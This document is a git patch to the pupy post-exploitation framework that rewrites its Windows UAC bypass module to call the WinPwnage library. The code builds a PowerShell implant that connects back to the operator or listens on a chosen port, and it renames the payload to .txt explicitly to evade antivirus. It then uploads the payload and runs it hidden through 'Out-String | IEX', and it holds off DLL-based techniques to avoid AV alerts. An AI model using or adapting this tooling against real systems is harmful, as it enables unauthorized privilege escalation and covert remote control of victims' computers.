From eea088ef6b6cc6e861013bf5e417a538fe942afc Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Fri, 9 Nov 2018 16:01:38 +0100 Subject: [PATCH] new ways to bypassuac using WinPwnage from rootm0s --- .gitmodules | 3 + pupy/modules/bypassuac.py | 232 ++++++++++++---------------- pupy/packages/windows/all/winpwnage | 1 + 3 files changed, 106 insertions(+), 130 deletions(-) create mode 120000 pupy/packages/windows/all/winpwnage diff --git a/.gitmodules b/.gitmodules index ced210ed..aecd9b66 100644 --- a/.gitmodules +++ b/.gitmodules @@ -43,3 +43,6 @@ [submodule "pupy/external/pyopus"] path = pupy/external/pyopus url = https://github.com/alxchk/pyopus +[submodule "pupy/external/WinPwnage"] + path = pupy/external/WinPwnage + url = https://github.com/rootm0s/WinPwnage diff --git a/pupy/modules/bypassuac.py b/pupy/modules/bypassuac.py index 19755a98..220be3da 100644 --- a/pupy/modules/bypassuac.py +++ b/pupy/modules/bypassuac.py @@ -1,6 +1,6 @@ # -*- coding: utf-8 -*- -#Author: @bobsecq -#Contributor(s): +# Bypassuac techniques use WinPwnage tool +# https://github.com/rootm0s/WinPwnage import os @@ -11,147 +11,131 @@ import pupygen import random import string -__class_name__="BypassUAC" +__class_name__ = "BypassUAC" + @config(compat="windows", category="privesc") class BypassUAC(PupyModule): - """ - Try to bypass UAC - - By default, each bypass UAC method uses a ps1 script which is executed on the target. - By default and automatically: - - eventvwr is used on Windows 7, 8 and some Win10 build (>= 7600) - - fodhelper is used on Win10 build >= 10240 - - tokenimp is used on other cases - If you don't want a method uses a ps1 script, you can choose an exe file: The file is uploaded and it is used by the bypass method. - If the parent launcher is using a reverse connection (e.g. connect or auto_proxy), the child launcher (created by the bypass UAC method) will use the same configuration: - The child launcher will connect to you. - If the parent launcher is using a bind connection, the child launcher (created by the bypass UAC method) will use the same configuration: - The child launcher will listen on a specific port on the target and it will wait a connection. In this case, this module will ask you a bind port. - """ - - dependencies=['pupwinutils.bypassuac_token_imp','pupwinutils.bypassuac_registry', 'pupwinutils.security'] + dependencies = ['winpwnage.core', 'winpwnage.functions.uac'] @classmethod def init_argparse(cls): cls.arg_parser = PupyArgumentParser(prog="bypassuac", description=cls.__doc__) - cls.arg_parser.add_argument('-m', dest='method', choices=["eventvwr", "fodhelper", "tokenimp", ], default=None, help="By default, a method will be found for you depending on your build version") + cls.arg_parser.add_argument('-l', dest='scan', action='store_true', default=False, help="List all possible " + "techniques for this " + "host") cls.arg_parser.add_argument('-e', dest='exe', default=None, help="Custom exe to execute as admin") - cls.arg_parser.add_argument('-r', dest='restart', action='store_true', default=False, help="Restart current executable as admin") + cls.arg_parser.add_argument('-r', dest='restart', action='store_true', default=False, help="Restart current " + "executable as " + "admin") + cls.arg_parser.add_argument('-m', dest='method', help="Should be an ID, get the list " + "scanning which methods are possible (-l)") + + def print_result(self, result): + for tag, message in result: + if tag == 't': + self.log(message) + elif tag == 'ok': + self.success(message) + elif tag == 'error': + self.error(message) + elif tag == 'info': + self.info(message) + elif tag == 'warning': + self.warning(message) def run(self, args): + if not args.scan and not args.method: + self.error('Get the list of possible methods (-l) and bypass uac using -m ') + return - #True if ps1 script will be used in bind mode. If reverse connection with ps1 then False - isBindLauncherForPs1 = False - #Contains ip:port used for bind connection on the target with ps1 script. None if reverse connection and (consequently) isBindLauncherForPs1==False - listeningAddressPortForBindPs1 = None - #Usefull information for bind mode connection (ps1 script) - launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address'] - #Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) - if launcherType == "bind": - self.info('The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(addressPort)) - isBindLauncherForPs1 = True - else: - self.info('The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)') - isBindLauncherForPs1 = False - #Parsing bypassuac methods - method = args.method - if not method: - windows_info = self.client.conn.modules["pupwinutils.security"].get_windows_version() - if windows_info: - # check if your host is previous Vista - if float(str('%s.%s' % (windows_info['major_version'], windows_info['minor_version']))) < 6.0: - self.success('You are lucky, this Windows version does not implement UAC.') - return + if args.scan: + scanner = self.client.remote('winpwnage.core.scanner', 'scanner', False) + result = scanner(uac=True, persist=False).start() + self.print_result(result) + return - # Windows 10 - if windows_info['build_number'] >= 10240: - method = 'fodhelper' - - # Windows 7, 8 and some Win10 build - elif windows_info['build_number'] >= 7600: - method = 'eventvwr' - - else: - method = 'tokenimp' - elif not windows_info: - self.error('No bypassuac method has been found automatically, you should do it manually using the "-m" option') - return - self.success('The following bypass uac method has been selected automatically: {0}'.format(method)) - - # check if a UAC bypass can be done + # Check if a UAC bypass can be done if not self.client.conn.modules["pupwinutils.security"].can_get_admin_access(): self.error('Your are not on the local administrator group.') return + # TO CHANGE: + # A way should be found to automatically obfuscate a dll (using custom dll stored on config file) + if args.method in ('11', '12', '13', '14'): + self.warning('This technique needs to upload a dll. It has been temporary disabled to avoid AV alerts') + return + + # Weird error, root cause not found yet + if args.method in '07': + self.warning('This technique does not work with custom exe, only work with cmd.exe') + return + + # Check if it is a bind shell + is_bind_launcher = False + launcher_type, address_port = self.client.desc['launcher'], self.client.desc['address'] + + # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) + if launcher_type == "bind": + self.info( + 'The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format( + address_port)) + is_bind_launcher = True + # ------------------ Prepare the payload ------------------ - ros = self.client.conn.modules['os'] - rtempfile = self.client.conn.modules['tempfile'] - tempdir = rtempfile.gettempdir() + ros = self.client.conn.modules['os'] + tempdir = self.client.conn.modules['tempfile'].gettempdir() random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)]) - local_file = '' - remotefile = '' + local_file = '' + remotefile = '' - # use powershell if not args.exe and not args.restart: - clientConfToUse = None self.info('Using powershell payload') - if isBindLauncherForPs1: - self.info("BIND launcher is on the target. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port") + if is_bind_launcher: + self.info("BIND launcher is on the target. So a BIND ps1 will be used in child launcher. " + "This ps1 will listen on your given port") self.info("Be careful, you have to choose a port which is not used on the target!") - listeningPort = -1 - while listeningPort==-1: + + listening_port = -1 + while listening_port == -1: try: - listeningPort = int(input("[?] Give me the listening port to use on the target: ")) + listening_port = int(input("[?] Give me the listening port to use on the target: ")) except Exception as e: self.warning("You have to give me a valid port. Try again ({})".format(e)) - listeningAddress = addressPort.split(':')[0] - listeningAddressPortForBindPs1 = "{0}:{1}".format(listeningAddress, listeningPort) - self.info("The ps1 script used for bypassing UAC will be configured for listening on {0} on the target".format(listeningAddressPortForBindPs1)) - bindConf = self.client.get_conf() - #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target - bindConf['launcher_args'][bindConf['launcher_args'].index("--port")+1] = str(listeningPort) - clientConfToUse = bindConf + + listening_address = address_port.split(':')[0] + bind_address_and_port = "{0}:{1}".format(listening_address, listening_port) + self.info("The ps1 script used for bypassing UAC will be configured for listening on {0} on the target".format(bind_address_and_port)) + bind_conf = self.client.get_conf() + + # Modify the listening port on the conf. If it is not modified, + # the ps1 script will listen on the same port as the initial pupy launcher on the target + bind_conf['launcher_args'][bind_conf['launcher_args'].index("--port")+1] = str(listening_port) + client_conf = bind_conf else: - self.info("Reverse connection mode: Configuring ps1 client with the same configuration as the (parent) launcher on the target") - clientConfToUse = self.client.get_conf() - if method == "eventvwr" or method == "fodhelper": - #Specific case for eventvwr method and fodhelper - if '64' in self.client.desc['proc_arch']: - local_file = pupygen.generate_ps1(self.log, clientConfToUse, x64=True) - self.info("The process architecture on the target is x64: A x64 dll will be used...") - else: - local_file = pupygen.generate_ps1(self.log, clientConfToUse, x86=True) - self.info("The process architecture on the target is x86: A x86 dll will be used...") + self.info("Reverse connection mode: Configuring ps1 client with the same configuration as " + "the (parent) launcher on the target") + client_conf = self.client.get_conf() + + if '64' in self.client.desc['proc_arch']: + local_file = pupygen.generate_ps1(self.log, client_conf, x64=True) else: - if '64' in self.client.desc['os_arch']: - local_file = pupygen.generate_ps1(self.log, clientConfToUse, x64=True) - self.info("The architecture of the target (OS) is x64: A x64 dll will be used...") - else: - local_file = pupygen.generate_ps1(self.log, clientConfToUse, x86=True) - self.info("The architecture of the target (OS) is x86: A x86 dll will be used...") + local_file = pupygen.generate_ps1(self.log, client_conf, x86=True) # change the ps1 to txt file to avoid AV detection - random_name += '.txt' - remotefile = ros.path.join(tempdir, random_name) + remotefile = ros.path.join(tempdir, "{random_name}.{ext}".format(random_name=random_name, ext="txt")) - cmd = ur'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' - param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile + cmd = u'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden ' \ + u'-noni -nop -c "cat %s | Out-String | IEX"' % remotefile # use a custom exe to execute as admin elif args.exe: self.info('Using custom executable') if os.path.exists(args.exe): - local_file = args.exe - - random_name += '.exe' - remotefile = ros.path.join(tempdir, random_name) - - cmd = remotefile - param = u'' - + local_file = args.exe + cmd = ros.path.join(tempdir, "{random_name}.{ext}".format(random_name=random_name, ext="exe")) else: self.error('Executable file not found: %s' % args.exe) return @@ -165,8 +149,7 @@ class BypassUAC(PupyModule): self.warning('It is not recommended to restart it') return - cmd = self.client.desc['exec_path'] - param = u'' + cmd = self.client.desc['exec_path'] # upload payload (ps1 or custom exe) if not args.restart: @@ -175,32 +158,21 @@ class BypassUAC(PupyModule): # ------------------ Ready to launch the bypassuac ------------------ - self.success("Trying to bypass UAC using the '%s' method" % method) - - # Works from: Windows 7 (7600) - # Fixed in: Windows 10 RS2 (15031) - if method == "eventvwr": - self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_eventvwr(cmd, param) - - # Works from: Windows 10 TH1 (10240) - # Unfixed - elif method == "fodhelper": - self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_fodhelper(cmd, param) - - # Works from: Windows 7 (7600) - # Unfixed - elif method == "tokenimp": - param = param.replace('-w hidden ', '') - self.client.conn.modules["pupwinutils.bypassuac_token_imp"].run_bypass_uac_using_token_impersonation(cmd, param) - - if isBindLauncherForPs1: - self.success("You have to connect to the target manually on {0}: try 'connect --host {0}' in pupy shell".format(listeningAddressPortForBindPs1)) + self.info("Bypass uac could take few seconds, be patient...") + bypass_uac = self.client.remote('winpwnage.core.scanner', 'function', False) + result = bypass_uac(uac=True, persist=False).run(id=args.method, payload=cmd) + if not result: + self.error('Nothing done, check if the id is on the list') else: - self.success("Waiting for a connection from the DLL (take few seconds, 1 min max)...") + self.print_result(result) + + # Powershell could be longer to execute + if not args.exe and not args.restart: + self.info("Waiting for a connection (take few seconds, 1 min max)...") # TO DO (remove ps1 file) # ros.remove(remotefile) # not work if removed too fast - # remove generated ps1 file + # Remove generated ps1 file if not args.exe and not args.restart: os.remove(local_file) diff --git a/pupy/packages/windows/all/winpwnage b/pupy/packages/windows/all/winpwnage new file mode 120000 index 00000000..f27e3093 --- /dev/null +++ b/pupy/packages/windows/all/winpwnage @@ -0,0 +1 @@ +../../../external/WinPwnage/winpwnage \ No newline at end of file